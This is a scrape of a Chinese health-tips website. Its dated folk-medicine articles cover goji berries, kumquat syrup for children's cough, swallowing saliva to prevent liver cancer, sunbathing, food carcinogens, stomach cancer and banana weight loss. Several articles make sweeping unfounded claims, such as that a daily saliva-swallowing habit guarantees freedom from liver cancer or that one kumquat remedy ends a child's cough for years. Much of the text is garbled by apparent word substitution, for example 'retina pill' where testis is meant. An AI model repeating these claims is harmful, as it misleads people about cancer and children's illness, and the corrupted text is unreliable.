枸杞多糖能明显增强破坏的胰岛细胞内超氧化物歧化酶(SOD)的活性,提高胰岛细胞的抗氧化能力,消除过氧化物对细胞的损伤,降低内二醛生成量,这表明枸杞多糖对波导岛细胞有一定的保护作用。

11,降血压

枸杞多糖可降低大鼠血压(收缩压和舒张压均见效果);降低血浆及血管中丙二醛,葡萄糖素含量,增加降钙素基因相关肽的释放,防止高血压形成。

12,保护生殖系统,滋补肝肾

枸杞代谢综合征的胰岛素丸受损害的大鼠的血清性激素水平升高;增加视网膜丸,附睾的脏器系数,提高大鼠睾丸组织SOD活性,降低丙二醛含量,使受损的视网膜丸组织恢复到接近正常水平。

13,提高呼吸道抗病能力

枸杞氧化物胡萝卜素,在人体内能转化成维生素A,具有维持上皮组织正常生长与分化的功能,量增加时可预防鼻,咽,喉和其他呼吸道感染,提高呼吸道抗病能力。

14,美容养颜,滋润肌肤

皮肤衰老主要是由于自由基氧化所造成的,而枸杞中所含的枸杞多糖,B一胡萝卜素都是强力的抗氧化剂,再加上枸杞所含的微量元素硒和维生素E的协同作用,组成了强大的抗氧化部队;另外,维生素A可维持上皮组织的生长与分化,防止皮肤干燥和毛囊角化,从而使其美容养颜,滋润肌肤的作用。


枸杞菊花茶

枸杞的7个营养吃法

1,枸杞菊花茶

枸杞10克,菊花10克,一起加入杯中,用沸水冲泡5分钟,即可放置。

功效:具有平肝潜阳,清肝明目的功效。适用于连续劳累,熬夜所致眼睛疲劳者。

2,枸杞桂圆鸡蛋汤

鸡蛋1只,枸杞子10克,桂圆肉10克,冰糖适量。将枸杞子,桂圆肉洗净,一同加入砂锅,加适量水,大火煮沸,小火熬煮10-15分钟。倒入枸杞桂圆汤中,调入适量冰糖即可食用。

功效:具有补肾益气,滋阴养血的功效。适用于虚羸瘦弱,失眠,健忘,心悸,怔忡,腰膝酸软,头晕目眩,虚劳咳嗽,早衰,贫血等症。

3,枸杞煲粥

枸杞子30-60克,先前米100克,可少量添加豆豉,同煮为粥,再以葱白,盐等进行调味,每天可吃两次,作为早晚餐食用。

功效:补肾益精,养血明目,缓解腰膝酸软,眩晕健忘,肝肾不足。


枸杞青菜

4,枸杞青笋肉丝

取枸杞子100克,精猪肉500克,青笋100克,将猪肉,青笋切丝,炒锅烧热加油,放入肉丝,笋丝,煮黄酒,加白糖,酱油,盐,味精各适量,最后放枸杞子翻炒几下即可。

功效:适用于血虚眩晕,心悸及神疲等症。

5,枸杞炖鸡

炖鸡时也可使用枸杞,具体将枸杞约15克放入鸡的腹中,葱段,生姜,食盐,料酒等调料适量,上抽屉加盖,武火蒸2小时左右取出,去姜,葱,加味精。饮汤食肉。

功效:可以滋补肝肾,可改善失眠多梦,遗精等症。

6,枸杞子煲汤喝

枸杞子煲汤喝的做法很多,各有各的功效!例如红枣枸杞鸡蛋汤,桂圆枸杞汤,银耳莲子枸杞汤等等这些适合女人补气血的做法!还有例如枸杞和排骨汤,枸杞和炖鸡汤,枸杞和乳鸽汤等等适合男人滋补的枸杞汤做法!但需注意的是枸杞汤最好后面放枸杞,要不水温过高过久枸杞子的药效容易流失,大打折扣!做汤的用量上可以适当增加点!

7,枸杞子打豆浆

也是很不错的吃枸杞子的方法!并且营养流失很少!

好吧!枸杞子这么多做法,看看喜欢什么吃法!坚持长期少量的吃枸杞,保养一下身体吧,健康最重要!不过平时还是要多运动额!

吃枸杞的4个禁忌

1,用枸杞保健需要长期少量吃,过量食用枸杞子过多的人上火,流鼻血,甚至造成眼睛红胀不舒服等。克。)

2,由于枸杞温热身体的效果相当强,正在感冒发烧,身体有炎症,腹泻的人最好别吃。

3,枸杞不宜与绿茶搭配,因为绿茶里的凝固酸有收敛吸附作用。

4,枸杞含糖量较高,糖尿病患者不宜过量服用。

编后语:枸杞子对癌细胞的生成和扩散有明显的抑制作用,当代实验和临床应用的结果表明,枸杞叶代茶常饮,能显着提高和改善老人,体弱多病者和肿瘤病人的免疫功能和生理功能,具有强壮肌体和延缓衰老的作用。

2021-01-01 / by / in
蒸熟它,只吃一口,孩子的咳嗽两三年不再发!

金桔/治孩子咳嗽/金桔蒸熟

咳嗽是一种常见疾病,可谓人人都有过,可是家里有小孩子咳嗽那可急坏家长,因为小孩子咳嗽起来就没完没了,也不能总给孩子吃药吧,是药三分毒,家长们别着急哈〜我这有个好方子!你可以看看!

材料:金桔1000克,冰糖适量(根据自己的口味定),柠檬一个,蜂蜜一勺金桔用清水洗干净,再用盐水泡半小时,沥干水,用小刀把金桔划十字花口,不喜欢整个的也可以切成两半,把子收回来,捏烂一点。


用小刀把金桔划十字花口

锅里倒入清水和冰糖,小火煮开直至冰糖全部融化,倒入金桔,大火煮开后,改用小火,煮至金桔扁了后关火,加一勺蜂蜜,这个蜂蜜加不加都可以的。


锅里倒入清水和冰糖

等晾凉后装进无水无油经过消毒风干的玻璃罐里,密封,冷藏,吃的时候收回直接吃或者冲水吃都可以。


晾凉后装进玻璃罐里密封冷藏

这个方子啊,一年四季都好用!我女儿最爱吃!以前咳嗽啊,用这个方子是用一次好一次啊!现在身边宝妈也在用!极好!

2021-01-01 / by / in
中国大陆肝癌发病率世界首位,医学家孙思邈:每天坚持1个小动作,保你不得肝癌

医学家孙思邈/ 吞咽唾液不得肝癌/吞咽唾液/预防肝癌

肝癌发病率在全世界排名第一的是中国大陆,肝脏是人体非常重要的一个器官,提起肝癌使人万分恐怖,谈虎色变,那么有什么简单的方法可以预防肝癌呢?

肝脏这个器官是人体当中具有代谢功能,被称为是人体最大的一个合成和分解的单位,每天我们吃进的食物主要是由肝脏进行分解,并且储存在肝脏当中,我们的每日三餐,和没有进食的情况下,由肝脏维持我们整个内部环境的稳定。

肝脏是人体非常重要的一个器官。而最新版的《世界癌症报告》显示,非洲、亚洲和中南美洲的发展中国家癌症发病形势最为严峻,中国大陆的肝癌发病率在全世界排名第一。

每天坚持一个小动作 保你不得肝癌—吞咽唾液。

柠檬生津润喉

1、唾液为什么护肝

早在唐代,伟大的医学家孙思邈就对此法进行过概括。明代龚居中对“吞津练精养生法”也有新的见解,他指出,“津即咽下,在心化血,在肝明目,在脾养神,在肺助气,在肾生津,自然百骸调畅,诸病不生。”中医认为,“五脏化五液,心为汗,肺为涕,肝为泪,脾为涎,肾为唾,是为五液。”意思是唾液是脾、肾所化,肾是人体先天之本,脾是人体后天之本,脾、肾富集了五脏之精,气血之华,因此唾液中含有很多有益于人体健康长寿的物质,对养肝护肝也有着特殊的作用。

现代医学研究也证明,唾液中90%是水,此外,还含有球蛋白、黏液蛋白、氨基酸、淀粉酶、溶菌酶和各种免疫球蛋白等。唾液中还有一种唾液腺激素,可以刺激人体的造血功能,延缓身体各个组织器官的衰老,预防老年性疾病,有助于人的健康长寿。唾液中还有一种过氧化物酶,能够抑制致癌物质的毒性。

2、怎么吞咽唾液?

(1)持续舔上颚

每日晨起,微闭口唇,舌抵上腭,当嘴里的唾液增加到一定量时,随意念将其缓慢吞下,反复3—4次。长期坚持,必有益处。

(2)经常在口腔内搅拌舌头

不吃东西的时候,舌头经常在口腔内搅拌,可以使体内的水分上升到口腔,通过唾液腺变为唾液,然后再慢慢咽下,可以起到养肝护肝、健身祛病、延年益寿的作用。具体方法是:舌先从左上牙床内侧转到右,接着再自右上牙床外侧转向左,然后再由左下牙内侧转向右,随之从右下牙外侧转向左,这样反复各搅9 次。继之上下牙轻叩36 次,用口中唾液鼓腮漱口9 次。津液自生,渐到满口,分作3 次,缓缓咽下。

人们说“日咽唾液三百口,一生活到一百九”是有道理的。一般体质强健的人,口水分泌比较充盈旺盛。年老体弱者口水分泌不足,常出现口干舌燥、皮肤干枯、体力日衰、耳鸣重听、面部失去光泽、大便秘结等情形,运用吞口水养生法,保肝护肝,抗衰延老。赶紧试试吧。

2020-12-31 / by / in ,
新冠肺炎再爆新症状!出现“诡异幻觉” 教唆斩首孩子再自杀

新冠肺炎/新冠病毒/后遗症/幻觉/杀孩子/自杀

新冠肺炎(中共肺炎)冲击全球,世界各国累计确诊人数已经逼近8200万例,CTWANT根据《纽约时报》报导了新冠肺炎感染者出现诡异幻觉症状。

被染疫患者主要症状包括发烧、乾咳、呼吸急促或是丧失嗅觉与味觉等,近来又有部分确诊者出现幻觉,会不断听见教唆“杀害亲人”的声音和影像,引发人心惶惶,目前医界正积极厘清症状与新冠肺炎之间的关系。

CTWANT根据《纽约时报》报导,美国纽约州一名42岁妇女,今年初曾确诊感染新冠肺炎,当时她仅出现轻微症状,不久后顺利痊愈出院,没想到却开始出现奇怪幻觉,妇女表示常常听见一个声音,要她杀死孩子并轻生,眼前甚至还会出现儿女遭到斩首的画面,让妇女痛苦不堪。

医学专家古利(Hisam Goueli)指出,一开始以为只是个案,没想到美国各州的确诊者中,陆续出现极端精神疾病,且几乎都发生在轻症患者身上,有的人开始爆发严重妄想症,差一点就要勒死亲人,还有人一直坚称自己的孩子会遭到绑架,甚至是眼前突然冒出猴子、狮子的幻觉。

不只是美国,英国针对153名确诊住院的病患进行研究,没想到竟发现有多达10人都出现了精神疾病的症状,就连在西班牙当地一间医院中,也发现了10名类似患者,目前不知道症状会持续多久,也不清楚该如何治疗,全球医界正展开调查研究,盼能尽快厘清两者之间的关联性。

2020-12-31 / by / in ,
我们身边竟然隐藏这么多致癌物?尤其是这四种!

癌症/致癌/致癌物/预防癌症

说到癌症真有点谈虎色变的感觉,那么怎样才能防止癌症上身?

研究指出,有77%的癌症根源与生活形态相关。愈来愈多的人死于癌症,相对于治疗,预防的意义更为重大。癌症预防,发现致癌物是一个重要的替代。

4种常见食物,为大家提供指导和对照。

1,中国式咸鱼

危害:吃多了,会导致胃,肠,淀粉等消化道癌变机率升高。

咸鱼等重口味食物在制作时需要经过高浓度的盐搅拌腌制,而且中式咸鱼有脱水的步骤。这种加工方式和过程会产生大量的二甲基亚硝酸盐,这种物质进入人体后,会转化成致癌性很强的二甲基亚硝胺。

2,槟榔

危害:有明显成瘾容易引起介入,经常咀嚼槟榔会诱发口腔癌。

槟榔含有多种生物碱,包括槟榔碱,槟榔次碱,四氢烟酸和四氢烟酸甲酯,而在咀嚼过程中产生亚硝胺类化合物。经常咀嚼槟榔会会明显增加口腔粘膜病变的印度是消耗槟榔最多的国家,也成为全球口腔癌发病率最高的国家。

3,隔夜菜


美味佳肴当顿吃完

危害:长期食用绿叶菜,海鲜等亚硝酸盐含量高的隔夜菜容易引发食管癌,肝癌,胃癌。

亚硝酸盐有诱发癌症的作用,隔夜菜中的亚硝酸盐,它是硝酸盐通过蔬菜本身的酶或细菌产生的酶还原生成的。熟的剩饭剩菜很适合细菌生长,所以会产生亚硝酸盐。但是不是所有的隔夜菜中的亚硝酸盐含量剂量都会超标。

4,酒精

危害:长期引用会引发口腔癌,咽癌,喉癌,食管癌,肝癌,绝经期后癌症。

酒精在人体内的致癌作用,某些研究表明,跟不喝酒的人列出,大量喝酒的人(每天喝酒大于3次),更容易得上消化道或呼吸道癌症,癌症,女性癌症,结直肠癌肿瘤和黑色素瘤。

癌症的发生,往往是多种致癌因素长期积累的结果,偶尔吃一次过过嘴瘾,没必要过于恐慌。

预防癌症的生活方式:

1,盯住你的BMI

肥胖细胞会制造并释放荷尔蒙,可能会促进生长激素的生长。体重略为超重,也会增加罹患这类癌症的风险。

2,每天流汗30分钟

这是最经济实惠的防癌方法,只要每天运动30分钟,每周5天即可。健走,跳舞,骑自行车,爬楼梯等各种运动都可以。

运动可以调整血液中睾丸固酮与雌激素,保护女性对抗与荷尔蒙相关的癌症,如卵巢癌,子宫内膜癌。癌风险。

3,喝绿茶或咖啡

因为绿茶含有儿茶素及维生素A,C等抗氧化剂,因此具有防癌功效,这些防癌成分绿茶含量最多,其次是乌龙茶,红茶最少。


绿茶有助于防癌早已获得证实

美国,加拿大,日本各有最新研究发现,咖啡有助于降低患有肝癌,肾细胞癌,乳癌,女性得大肠癌的机率。

4,新鲜蔬果

目前已证实足量的蔬果纤维,可预防大肠直肠癌,并减少乳癌,食道癌等数种癌症的发生率。形成。

5,多吃鸡,鱼

应多吃鸡,鱼,少量吃猪,牛,羊肉。牛排,红烧蹄膀,涮羊肉,虽然很美味,但请尽量少吃些。

6,戒烟,戒酒,戒槟榔

抽烟是肺癌的主要危险因素,并与食道癌,胃癌,头颈癌,摄护腺癌,大肠癌,肝癌,子宫颈癌与乳癌相关。

过量饮酒会增加罹患口腔癌,咽喉癌与食道癌风险,并且长期饮酒过量容易造成肝硬化,而增加了得肝癌机会。

槟榔与头颈癌(口腔癌,喉癌)的发生密切相关。

7,少盐,不喝含糖饮料

每天摄取的盐不超过6公克,少喝含糖分饮料,喝白开水最理想,天然果汁每天不超过150c.c.,并且不吃发霉的谷类及豆类。

8,保持轻松的情绪

心情郁闷容易诱发癌症,医学研究发现,精神压力会削减免疫机能,抑郁症使身体修补DNA的能力下降,遭受癌症机率明显提高。

2020-12-30 / by / in ,
世界最强补身子好方法,不花一分钱,连手都不用动!

增强免疫力/预防癌症/补身子不花钱/晒太阳/养生之道

冬天,天气很冷的时候,到阳光下晒晒太阳,对身体一定有很大的并发症,你就好像做了天然的“艾灸”。那么如何晒才是真正的养生之道?今天我们就来聊一聊关于冬天晒太阳的一些方法。


晒太阳-天然“艾灸”

冬天为什么要晒太阳呢?

就是老天给我做艾灸。

我们都知道艾灸是大补阳气的方法,但做艾灸需要辩证,并不是每个人适合,而且灸多了易上火。

“天灸”就不存在这样的问题,它属于中医里的“温补之法”,没有任何替代,是适合所有人的自然疗法治疗方法。

冬天,万物封闭,人体的阳气也潜藏了起来。

这个季节,格外要注意保护人体的阳气。

晒太阳就是一个好方法,冬日暖阳有助于人们体阴阳达到平衡,对生发也有好处。

在一千年前的唐代,白居易活到了75岁,远远超过当时的平均寿数。他的长寿也许与冬日晒太阳有一定的关系。他在一首诗里放置了在冬天晒太阳的体验。

《负冬日》

负暄闭目坐,和气生肌肤。

初似饮醇醪,又如蛰者苏。

外融百骸畅,中适一念无。

旷然忘所在,心与虚空俱。

注:冬季晒太阳,古人允许“负暄”。

一个人想健康,就要阳气丰富,四肢温暖,五脏坚固,精神矍铄,而身体必须足够强大的蒸腾气化能力。

通过晒日光,膀胱经和督脉共同得到滋养,从而让血管中的血液,淋巴里的水液,经络中的能量在高温气态下充盈饱满。

冬季是四季中最最寒冷的时间段,暖阳可贵,适当地晒晒太阳,呼吸新鲜空气,接受冬阳洗礼,享受免费的日光浴,这是大自然赋予我们最好的祛病良方。


晒太阳晒出好心情

晒太阳的好处你都知道吗?

❶带来好心情

过多人一到冬天和阴雨天气就会失眠,胸闷,烦躁,日照时间的减少是引起引发情感障碍的原因之一。在存在的日照下,人体肾上腺素,甲状腺素以及性腺素分泌水平都会改善提升,这将有效改善情绪低落,精神抑郁等不良心理。

❷预防近视

阳光可以刺激多巴胺的生成,而多巴胺可帮助避免眼轴变长,且防止进入眼睛的光线在聚焦时出现焦点扭曲,降低近视风险。

❸增强免疫力

晒太阳有补阳气,补正气的功效。中医有“采日精”的陈述,就是采集阳光以生发清阳之气。

人体内正常的脏腑功能全靠阳气来支撑,阳气充盈,人体抵抗疾病的能力就会提高。

❹养出好气色

晒太阳可明显提高肠胃消化吸收吸收转换气血的能力,可通过晒背,腰,脊柱,脾,提升小肠和淀粉消化酶的活性。

❺减少感冒

常晒太阳体内维生素D水平高,有助降低流感病毒及其他常见呼吸道疾病的危害。

心血管保护心血管

缺乏维生素D的人患心脏病和中风风险高,晒太阳可以体内杀死减少,保护血管健康。

❼延长寿命

如果是边散步边晒太阳,无形中就增加了户外运动量,更能促进机体活性。

增强雄性激素

每天多晒一小时,视网膜丸激素可增加69%。

❾预防癌症

研究证明,接受日照时间长地区的人,患糖尿病,肝癌和卵巢癌比率明显下降。


晒太阳时要定神

晒太阳的时候应该做些什么?

晒太阳时要定神,让自己安静,定神,精神内守最重要。

找一个安静的地方,闭上眼睛静静地晒,或听一点清净典雅的音乐,切忌打电话,玩手机,兴奋地聊天,做激烈的运动,这样不但无效,反而漏精漏气漏神。


出少量汗,微微困倦效果最佳

每天晒太阳的时间如何控制?

在四十分钟到一个小时左右,出少量汗,微微困倦效果最佳。

出大汗为漏精,说话太多为漏气,看完这篇日晒法则,当下一个晒阳光的好天气出现,就放下手机去到阳光下,安静的坐一会儿吧。

2020-12-30 / by / in
寿命长的男人 粗略统计:一般都有“3小1高”

健康/自检/男性

当今社会生活让人压力山大,也常常反应到身体上,如果养成生活良好习惯,注重健康,让长寿伴随你走过一生。

男人,一般都是心脑血管疾病、肝胆疾病、 高血压高血脂等慢性疾病的高发人群,特别是40岁之后的男人, 更受这些疾病的“青睐”,这除了与男人承受的重压有关外, 更与男性朋友的很多不良生活习惯有关,当然,这也是少部分, 很多男性朋友开始注重养生,与长寿自然也不会擦肩而过。

1、烟瘾小

有很多研究证明,烟草中的多种有毒物质可以引起很多种慢性疾病, 比如心脑血管疾病、肺癌、多种恶性肿瘤等,此外, 长期吸烟的男性患上不育的几率也比不吸烟的男性高出很多, 从另一个角度思考,烟瘾小的男人,自然也可以少受吸烟的影响, 也可以避开多种疾病的困扰,相对来说,烟瘾小或不吸烟的男性, 也就更容易长寿了。


男人

2、酒量小

在酗酒的人群中,患上高血压、肝癌的几率都比正常人高出好多倍, 甚至还可能会增加脑出血的几率,而相对于大量喝酒的人, 酒量小的人群是不容易造成酗酒恶习,都说小酌怡情,大饮伤身, 这不是没有道理的,偶尔几杯酒,尝尝鲜,怡怡情, 对身体健康也是挺有好处的,自然,长寿也就来了。

3、腰围小

很多男性朋友,一到中年,就开始发福, 这腰围也是眼看着的蹭蹭往上涨,但这是不健康的现象, 一旦腰部脂肪堆积过多,就容易患上脂肪肝、三高等等疾病,甚至严重一点的,还可能会危及生命;相对来说, 生活习惯健康规律的男人,腰围小也是比较小的,所以, 保持正常体重,做个腰围小又健康的男人吧。


男人

4、睡眠质量高

有研究发现,很多健康长寿的老人都有一个共同点, 那就是有着一个高质量的睡眠,不难发现, 大部分的百岁老人都有一句口头禅,我并没有什么特别的养生之道, 只是能睡会睡罢了。由此可见,长寿与睡眠质量是息息相关的, 也就是说,想要长寿,先好好睡觉,睡一个高质量的觉。

建议广大男性朋友,在平时就要注意养成一个良好的生活习惯, 多喝水,多运动,多吃新鲜蔬果,多晒晒太阳,还有要定期排便等。


男人

2020-12-29 / by / in
她三餐规律,却查出胃癌,医生说:一个习惯害了她!

癌症/习惯/胃癌/养胃/三餐规律/女白领

胃癌初期阶段的症状很少甚至没有任何症状。胃癌,它是起源于胃黏膜上皮的恶性肿瘤,在各种恶性肿瘤中它的发病率最高,居我国首位。

大家都知道,癌症喜欢找中老年人。但一个事实是,癌症越来越趋向年轻化,也就是说,越来越多的年轻人得癌症,这个要引起年轻人的重视,不要以为年轻就有资本,不要以为癌症不找你。

28岁的曼丽(化名),尚未婚育,长相秀丽,皮肤白晰,典型的南方美女那种,可谓正是大好年华之时。

一直以来,曼丽相当自律,生活规律,三餐也有时,并不是那种有一餐没一餐的那种,也不抽烟不喝酒,可偏偏癌症找上她,她被诊断出得了胃腺癌。庆幸的是,分期还早,有手术机会,也就意味着有治愈的机会。

医生很好奇,曼丽三餐规律,不抽烟、不喝酒,年纪轻轻,按道理不应该会患胃癌,是哪里出现了问题呢?

通过进一步沟通,医生了解到了事情的真相,曼丽的胃癌或许是她的一个习惯害了她!

原来,曼丽虽然三餐规律,但是,但她从小学开始就养成了喜欢吃各种腌熏烤煎炸食物,可以说是餐餐不离这类食物,炸鸡块,烤肠烧肉,油条,膨化食物,麻辣烫等等,而且从小的家庭饮食习惯就是一个字“咸”和“辣”,无咸不吃,无辣不欢,如此一来,也二十年了,胃真是长期受到“摧残”,这可能是她胃癌发病的重要因素。


喜欢吃各种熏烤煎炸食物,是胃癌发病的重要因素。

此外,医生给曼丽做了幽门螺杆菌检测也是阳性,至于她感染幽门螺杆菌有多久,这个未知,也许很久了。这几种因素加在一起,她真是处在胃癌高风险中,胃癌就喜欢找这样的人。

引申:幽门螺旋杆菌有三种并发症:胃出血、贫血和胃溃疡。幽门螺杆菌感染严重的可导致萎缩性炎伴肠化生,即胃癌前期,癌变发生率比其它胃肠病要高出20倍以上。

医生提醒:预防胃癌,四类食物要少吃,尤其是年轻人

1、烧烤类食物

烧烤过程中,用炭火烤肉,油脂滴在炭火上,会产生有毒性的“多环芳羟”,随烟熏挥发,又吸收回食物中,而这类物质具有致癌性!

2、腌制类食物

若过量摄入食盐,不仅导致高血压、心脏病、肾脏病和脑血栓,且易患胃癌。世界癌症研究基金称,一个人每天摄入的食盐量不宜超过6克,大约一茶匙左右。若食用太多的盐会对血压不好,可导致心脏病、中风以及癌症。

3、滚烫的食物

调查显示,喜食烫食的人发生胃癌的危险性是普通人群的4.22倍。这是因为高温食物会损伤胃黏膜,如果胃黏膜反复损伤,就会诱发癌变;而烟熏类食物中含有大量的亚硝酸盐,在胃中可形成亚硝酸胺,可直接诱发癌症。

4、辛辣刺激的食物

据研究,适量辣椒素能促进胃部的血液流动,增加黏液分泌,修复胃黏膜。但假如吃过多辣椒,胃就会产生烧灼感,影响肠胃正常工作。

日常养胃,谨记胃有“三怕”

一:胃怕“冷”

未彻底煮熟的虾、蟹等海鲜,凉菜、冰镇饮料、未洗干净的水果等,都会引起急性肠胃炎,是伤胃的元凶。

胃是喜温的,因此饭菜、汤饮温度尽量保持在37℃左右。 “冷”还包括食物的属性,因此胃不好的人尽量少吃寒凉性质的食物。

胃和十二指肠溃疡的发病有季节性,秋冬、冬春交替都是高发时期,在冬季要更加小心。

出现腹部不适,胃痛,消化能力下降时,不能再进食生冷的食物,否则会引起或加重胃部不适的症状。

二:胃怕“多”

吃得太多会导致胃酸、胰液、胆汁等消化液分泌增加,超出分泌能力,可能会导致胆管胰管等相对狭窄、梗阻,造成消化功能紊乱。


吃得太多会导致胃酸、胰液、胆汁等消化液分泌增加

如果每顿饭都吃太饱的话,胃部就会分泌大量胃液,损害胃黏膜。胃部始终处于饱和状态容易导致胃黏膜没有修复的机会,一旦胃黏膜不足,那么,胃酸就会入侵,引起各种胃病。

三:胃怕“忍”

在很多人眼里,胃病只是小病,胃痛了就吃点药忍忍,但这样可能让小病变成大病。

胃部不舒服就是身体在报警了,这时就要看医生。

吃药1-2周都不见好就要及时就医,就算不到两周,服药后没效果也要就医。

另外,40岁以上的老胃病要警惕胃癌。

中医认为,胃是后天之本。

胃病是可以“养”好的,日常养胃可以这样做:

一:常喝杀菌暖胃茶

将蒲公英根:刺玫花以3:1比例混合搭配成蒲公英刺玫茶,每日取3~5g用开水冲泡后饮用即可。

很多溃疡的患者体内都检测出幽门螺杆菌,它很容易诱发胃肠疾病的发生,容易导致胃癌。

现代医学证实,蒲公英有效成分不仅对金黄色葡萄球菌有较强的抑制作用,对致病性皮肤真菌也有抑制作用,对幽门螺杆菌也有抑制作用。

蒲公英有“天然抗生素”的美誉,每天用2g蒲公英泡茶,就能对胃炎、胃溃疡等有很好的改善。 《本草纲目》记载,它性平味甘微苦,有清热解毒、消肿散结及催乳作用,对治疗乳腺炎十分有效。

但是蒲公英性微寒,所以,搭配温和的刺玫花,做成蒲公英刺玫茶,能够让蒲公英茶的性质变温和,适合体寒或者脾胃虚弱的人服用。

并且刺玫花还能理气活血、疏肝解郁,主治肝胃气痛、食少呕恶、月经不调、铁打损伤等症。二者搭配在一起,不仅可以消炎养胃,还可以暖胃护胃,一举两得。

二:三餐规律

有一句俗话“不要等到饿了才吃饭,不要等到渴了才喝水”,无论是就餐也好,饮水也好,都讲求一个规律,如果经常吃饭不规律,食量必然会时大时小,造成胃肠道负担过重,导致胃出现胃溃疡、胃炎、消化不良等疾病。

三:早餐最好吃热食

要使胃健康,就要吃好早餐,而早餐应以暖胃为关键。早餐不宜太油,特别是油炸食品,否则会给胃肠增加太重的负担,并使脂肪摄入过量。

四:饮食宜软、温、暖、素、鲜

烹调宜用蒸、煮、熬、烩,少吃坚硬、粗糙的食物。

进食时不急不躁,使食物在口腔中充分咀嚼,与唾液充分混合后慢慢咽下,这样有利于消化和病后的修复。

要注意四季饮食温度的调节,脾胃虚寒者尤应禁食生冷食物,肝郁气滞者忌在生气后立即进食。

五 :运动可养胃

运动能加强胃肠道蠕动,加强肠胃的消化和吸收功能,还可增加呼吸的深度与频率,促使膈肌上下移动和腹肌较大幅度的活动,从而对胃肠道起到较好的按摩作用。

而胃病患者可以参加太极拳、步行、慢跑、骑自行车等运动。刚开始锻炼时,运动强度宜小。如采用速度缓慢、全身放松的步行,可步行两千米左右,时间每次20~30分钟,改善胃肠功能,对消除腹胀、嗳气,促进溃疡愈合有一定作用。

2020-12-29 / by / in , ,
香蕉配它吃,大肚子没了,连便秘都好了!所有人都该看看…(组图)

香蕉减肥/香蕉作用/香蕉瘦身法

香蕉可是很常见又常吃的水果,另外香蕉味道美,吃起来也非常方便,今天特别给你介绍香蕉配豆浆,减肥有特效的方法,很快瘦5斤可是真的,而且便秘秘也治好了!

减肥不用再愁没有好方法了,用香蕉配豆浆的办法,很快就能瘦5斤,用这两种食物制作的健康瘦身食谱又能减肥还能治便秘,下面先看下它的瘦身吃法。

减肥做法

材料:香蕉1根,无糖豆浆100ml(可随自己的爱好调整份量,喜欢清爽口味的可增加20-l00ml的豆浆)。

做法:

1,香蕉去皮。在杯内用勺子压成糊状。

2,将豆浆倒入装香蕉的杯子中搅拌,香蕉与豆浆融合即可喝。

香蕉豆浆放置氧化物就会氧化成茶色,建议立即重新添加。


香蕉减肥

三大瘦身喝法

1,早餐喝l〜2杯,轻松瘦下来。

对平时不吃早餐的人认为,既营养又瘦身,还可以治疗便秘。

2,晚餐前喝效果加倍。

晚餐前30分钟至l小时喝一杯,能增加饱腹感,减少晚餐摄取的分量。也可用香蕉豆浆代替晚餐,但要注意另外两餐的营养补充要均衡。

3,感觉饿时喝,不会累积节食。

香蕉豆浆是能给予饱足感的饮料,最适合肚子饿的时候休息,让你不用强忍空腹感而累积过多减肥压力。

饭前一根香蕉,太厉害了!可是知道的人太少了!
如此从现在开始要吃熟一点的香蕉唷!香蕉愈成熟即表皮上黑斑愈多,它的免疫活性也就愈高。

因此,专家们研究认为,香蕉具有免疫激活作用比较温和,在人体状态健康时并不会使免疫力异常升高。但对病人,老人和抵抗力差的体弱者则很有效果。


香蕉

在日常生活中,我们不妨碍每天吃1-2根香蕉,通过提升身体的抗病能力来预防感染,特别是预防感冒和流感等病毒的侵袭。

研究显示,两个香蕉,可以提供足够的能量维持90分钟时间的运动。但是,香蕉不单只提供能量。还可以帮我们克服或治疗好多发作和身体状况,所以我们必需把香蕉加进每天的餐单。

1,抑郁症:

患抑郁症的人,在吃过香蕉后,感觉好好多。因为香蕉含胺基酸,会转化成血清促进素,令人松驰,提升情绪。

2,便尿:

香蕉的纤维质很高,可以帮助回复肠胃正常活动,消除便秘,无需服用轻泻剂。

3,宿醉:

香蕉松色胃部,蜜糖提升血糖水平,抒情精神和制做炭水化合物。

4,心绞痛:

香蕉对身体有一种天然的制酸性,有镇痛作用。

5,早上无精打彩:

早餐后午饭前,吃少量香蕉可保持血糖水平。

6,贫血:

香蕉铁质含量高,能刺激血液内的血色素。


香蕉烹饪

7,血压高:

最近,美国食品及药物管理局宣布,允许香蕉业宣传:香蕉能降低血压高和中风机会。香蕉含极高量的钾,但盐份低,最理想是降血压。

8,脑力:

在英国Twickenha有200名学生,为了要提升脑力,帮助考试,在学期开始,于早餐,小休和午饭,都吃适量香蕉。 ,对他们读书有所帮助。

9,超重:

澳大利心理学学校研究发现,工作压力大,使员工会不断进食食巧克力和薯片去舒缓情绪。医生对5000名医院的病人做研究,发现体型肥胖的,通常都是司职压力非常大的工作。

研究总结认为,要避免引起对舒缓情绪食物的欲念,就应该大约每两小时吃一点高炭水化合物的食物,以降低身体内部的血糖水平。

10,胃溃疡:

对于长期患者而言,香蕉是唯一可以进食的未煮熟食物,而不会有不良反应。香蕉还可以中和胃酸和减少疼痛。


香蕉另类吃法

11,蚊叮虫咬:

用香蕉皮内部轻擦患处,可退肿消炎。

12,紧张:

香蕉的维生素B含量高,可帮助舒缓神经系统。

13,体温控制:

在不同国家,地区和文化中,都有把香蕉作为一种“降温”的果物,可以利用降低身,心的热度。在泰国,孕妇为了使婴儿出生时有大量凉快的环境,临盆时就会吃香蕉。

14,戒烟:

香蕉可以帮助戒烟。香蕉含维生素B6和B12,也含钾和镁,可以复元戒烟者,因为没有了尼古丁刺激的影响。

15,压力:

香蕉所含的钾,可以调节心跳使之正常化,从而将氧气顺利地大脑,以及调节身体的水份。钾含量高的香蕉,正好作补充。

2020-12-28 / by / in
日本医学教授:吃点这个降血糖,还可能使痛风、脂肪肝得到改善!

健康/糖尿病/姨肝

高丽菜俗称圆白菜,卷心菜和大头菜,日本医学教授藤田纮一郎亲身验证:吃高丽菜降血糖,还可能使痛风,不幸肝得到改善!

根据国民健康署统计,全国糖尿病友超过200万名,而且以每年2.5万名的速度快速增加中。而且糖尿病位居国人十大死因之一,台湾已有近万人因糖尿病而死,数量相当惊人,相关的心血管疾病,肾癌,眼疾等并发症更是不容忽视,如何控制血糖也变成国人的重要课题。

醋高丽菜控血糖,还能美肌,健胃,降血压

早安健康报道:日本东京医科齿科大学名誉教授,医学博士藤田纮一郎表示,他自己虽然是医师,但血糖曾经爆高到500mg / dL(正常为110mg),因此他参考日本糖尿病学会的建议,他透过餐前先吃100g醋高丽菜,从体重88kg瘦了15kg,降到73kg,血糖也降到90mg / dL;三酸甘油脂更是从300mg / dL减半到150mg / dL(标准为30〜150mg / dL),连轻肝和痛风也得到了改善。


高丽菜

